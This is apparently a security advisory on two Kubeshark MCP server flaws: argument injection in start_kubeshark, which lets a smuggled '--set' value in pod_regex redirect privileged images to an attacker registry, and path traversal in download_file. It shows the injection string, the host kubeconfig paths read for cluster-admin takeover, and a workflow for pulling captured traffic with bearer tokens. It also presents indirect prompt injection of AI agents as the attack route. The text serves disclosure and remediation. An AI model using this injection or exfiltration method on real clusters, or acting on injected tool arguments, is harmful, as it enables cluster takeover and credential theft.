Two security vulnerabilities in the Kubeshark MCP (Model Context Protocol) server allowed AI agents to compromise Kubernetes clusters and write arbitrary files. The flaws, tracked as CVE-2026-129236 (CVSS 7.2, high) and CVE-2026-129235 (CVSS 5.3, medium), affected Kubeshark versions 53.1.0 through 53.3.0 and were fixed in version 53.4.0.
Quick Take
- What: Two vulnerabilities in Kubeshark’s MCP server: argument injection in
start_kubeshark(CVE-2026-129236) and path traversal indownload_file(CVE-2026-129235) - Who is affected: Users running Kubeshark MCP server versions 53.1.0 through 53.3.0, especially with the
--allow-destructiveflag - Impact: AI agents could redirect privileged Kubernetes worker images to attacker registries (cluster-admin takeover) and write arbitrary files to the local filesystem
- Fixed version: 53.4.0
- What to do: Upgrade to Kubeshark 53.4.0 or later immediately
In plain English
Kubeshark is a network monitoring tool for Kubernetes that recently added support for AI agents through the Model Context Protocol (MCP). Two bugs in this AI agent interface let attackers trick the tool into doing dangerous things. The first bug (CVE-2026-129236) could let an attacker redirect Kubeshark to download malicious container images from their own server instead of the official one, giving them full control over the Kubernetes cluster. The second bug (CVE-2026-129235) let attackers write files anywhere on the computer running Kubeshark and read captured network traffic that might contain passwords or secrets.
What you should do: If you use Kubeshark with AI agents, you should upgrade to version 53.4.0 right away. If you don’t use Kubeshark or don’t run it with AI agents, you can ignore this.
What happened
The first vulnerability, CVE-2026-129236, resided in the start_kubeshark MCP tool in cmd/mcpRunner.go. The tool built a kubeshark tap command by appending a caller-supplied pod_regex parameter as a bare positional argument without a -- end-of-options separator. Because the underlying command parser treats flags positionally, an attacker who could influence the tool arguments (for example, through indirect prompt injection against an AI agent) could inject a pod_regex value beginning with --set that would be parsed as a Helm value override rather than as the intended pod regex.
An attacker could exploit this to redirect the tap.docker.registry and tap.docker.tag Helm values, causing Kubeshark to deploy worker, Hub, and front-end images from an attacker-controlled registry instead of the legitimate one. Because the deployed worker DaemonSet runs with privileged access, host networking, and the host filesystem mounted, a malicious image would gain node and cluster-admin access. The vulnerability only affected deployments where the operator ran kubeshark mcp --allow-destructive, as the start_kubeshark tool is not registered without that flag.
The reporter demonstrated the attack by supplying pod_regex=--set=tap.docker.registry=attacker,tap.docker.tag=tag, which caused the CLI to construct kubeshark tap --set=... --set headless=true and deploy an attacker image. The malicious image ran as root inside the privileged worker container and read the host’s cluster-admin kubeconfigs from /etc/kubernetes/super-admin.conf, /etc/kubernetes/admin.conf, and the PKI directory, achieving full cluster-admin takeover.
The second vulnerability, CVE-2026-129235, affected the download_file MCP tool. The tool accepted caller-controlled path and dest parameters, fetched the specified path from the Kubeshark Hub API, and wrote the response bytes to the local filesystem using os.Create(dest) in the callDownloadFile function. The tool performed no validation on the dest parameter: no filepath.Clean, no base-directory containment check, no rejection of absolute paths or ../ traversal sequences. Any path writable by the process was reachable.
Additionally, the path parameter was concatenated onto the Hub API base URL with no allowlist, making any Hub endpoint reachable, including captured-traffic exports. The tool originally issued fetches with no authentication, and while a later authentication refactor added credential forwarding, the Hub ships with authentication disabled by default in community and development deployments. On a default kubeshark tap installation, the Hub API answers without authentication, so captured traffic containing credentials, tokens, and personally identifiable information could be read and exfiltrated end-to-end.
The reporter demonstrated the vulnerability by following the tool’s documented workflow: calling export_snapshot_pcap to obtain a relative path, then calling download_file with that path and an attacker-chosen dest. The reporter retrieved a captured-traffic PCAP file and recovered a planted canary Authorization: Bearer credential from it, and demonstrated writing the fetched bytes to an arbitrary local path.
Unlike the first vulnerability, download_file was registered unconditionally and available in the default, non---allow-destructive posture.
Both vulnerabilities were introduced in the MCP server’s first release. CVE-2026-129236 was introduced in commit 0bbbb473 on February 6, 2026, first released in v53.1.0. CVE-2026-129235 was introduced in commit eb7dc42b on March 4, 2026, also first released in v53.1.0. An earlier attempt at the download_file feature was reverted before any release, so no version before v53.1.0 was affected.
What you should do
Upgrade to Kubeshark version 53.4.0 or later immediately.
For CVE-2026-129236, version 53.4.0 addresses the argument injection by appending pod_regex last, after a literal -- end-of-options separator, ensuring it is always parsed as the pod regex positional argument and can never be interpreted as a flag. The namespaces and release_namespace parameters are passed through -n and -s value flags, which consume their value token and are not injectable.
For CVE-2026-129235, version 53.4.0 resolves the dest parameter through a new secureDownloadDest function and confines it to a base directory (the current working directory by default, relocatable via the KUBESHARK_MCP_DOWNLOAD_DIR environment variable). A dest that resolves outside the base directory via ../ or an absolute path is rejected. The path parameter is rejected if it contains .. segments. Containment is re-checked after resolving symlinks, and the file is opened with O_NOFOLLOW where the platform provides it. The fix also adds credential forwarding and auth-required detection on the fetch.
If you cannot upgrade immediately, do not run kubeshark mcp with --allow-destructive unless required, do not expose the MCP server to untrusted content or untrusted agent inputs, and restrict the kubeconfig and permissions available to the machine running the MCP server. For CVE-2026-129235 specifically, run kubeshark mcp as an unprivileged user in an isolated working directory.
What it means
These vulnerabilities highlight the security risks of integrating AI agents with privileged infrastructure tools. The Kubeshark MCP server, designed to let AI agents interact with Kubernetes network observability, introduced two classes of input-handling flaws that could be exploited through indirect prompt injection or other means of influencing agent tool calls.
CVE-2026-129236 represents a high-severity supply-chain attack vector: by redirecting the container images Kubeshark deploys, an attacker could achieve full cluster-admin compromise from a single injected tool argument. The vulnerability required the operator to run the MCP server with the explicit --allow-destructive flag and to hold a kubeconfig with permission to deploy the privileged Kubeshark DaemonSet, but once those preconditions were met, the attack was straightforward.
CVE-2026-129235, while scored lower, still allowed arbitrary file writes on the machine running the MCP server and could exfiltrate captured network traffic containing credentials and secrets on default installations. The fact that download_file was registered unconditionally, without requiring --allow-destructive, broadened the attack surface.
Both issues were reported by security researcher novice-22 (Urim) via private coordinated disclosure. Kubeshark addressed both vulnerabilities in a single patch release. Hub-side default authentication is outside this fix, so operators should enable Hub authentication themselves.
The vulnerabilities underscore the importance of input validation, least-privilege design, and defense-in-depth when building agent-accessible tools, especially those that interact with privileged infrastructure.
Kubeshark is not the first MCP server where unchecked tool input opened a path to sensitive systems. Compare the Dynatrace MCP Server that allowed unauthenticated tool calls and the path traversal in the Apache APISIX MCP endpoint. New cases are tracked in our AI Security hub.
Sources
- GHSA-8vf2-hxg5-crqh: MCP start_kubeshark argument injection
- GHSA-gj7r-p794-hhq5: MCP download_file path traversal
- Kubeshark v53.4.0 release notes
- CVE-2026-129236 on NVD
- CVE-2026-129235 on NVD



